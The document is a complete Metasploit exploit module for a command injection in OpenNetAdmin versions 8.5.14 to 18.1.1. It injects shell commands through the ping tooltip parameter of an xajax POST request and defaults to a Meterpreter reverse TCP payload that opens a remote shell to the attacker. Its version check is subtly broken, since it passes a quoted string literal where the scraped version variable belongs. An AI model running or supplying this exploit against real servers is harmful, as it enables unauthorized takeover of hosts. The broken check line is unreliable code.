OpenNetAdmin 18.1.1 Command Injection

`class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'OpenNetAdmin Ping Command Injection',  
'Description' => %q{  
This module exploits a command injection in OpenNetAdmin between 8.5.14 and 18.1.1.  
},  
'Author' =>  
[  
'mattpascoe', # Vulnerability discovery  
'Onur ER <[email protected]>' # Metasploit module  
],  
'References' =>  
[  
['EDB', '47691']  
],  
'DisclosureDate' => '2019-11-19',  
'License' => MSF_LICENSE,  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Privileged' => false,  
'Targets' =>  
[  
['Automatic Target', {}]  
],  
'DefaultOptions' =>  
{  
'RPORT' => 80,  
'payload' => 'linux/x86/meterpreter/reverse_tcp'  
},  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('VHOST', [false, 'HTTP server virtual host']),  
OptString.new('TARGETURI', [true, 'Base path', '/ona/login.php'])  
]  
)  
end  
  
def check  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path),  
'ctype' => 'application/x-www-form-urlencoded',  
'encode_params' => false,  
'vars_post' => {  
'xajax' => 'window_open',  
'xajaxargs[]' => 'app_about'  
}  
})  
  
unless res  
vprint_error 'Connection failed'  
return CheckCode::Unknown  
end  
  
unless res.body =~ /OpenNetAdmin/i  
return CheckCode::Safe  
end  
  
opennetadmin_version = res.body.scan(/OpenNetAdmin - v([\d\.]+)/).flatten.first  
version = Gem::Version.new('opennetadmin_version')  
  
if version  
vprint_status "OpenNetAdmin version #{version}"  
end  
  
if version >= Gem::Version.new('8.5.14') && version <= Gem::Version.new('18.1.1')  
return CheckCode::Appears  
end  
  
CheckCode::Detected  
end  
  
def exploit  
print_status('Exploiting...')  
execute_cmdstager(flavor: :printf)  
end  
  
def filter_bad_chars(cmd)  
cmd.gsub!(/chmod \+x/, 'chmod 777')  
end  
  
def execute_command(cmd, opts = {})  
post_data = "xajax=window_submit&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;#{filter_bad_chars(cmd)};&xajaxargs[]=ping"  
  
begin  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path),  
'ctype' => 'application/x-www-form-urlencoded',  
'encode_params' => false,  
'data' => post_data  
})  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")  
end  
end  
end  
`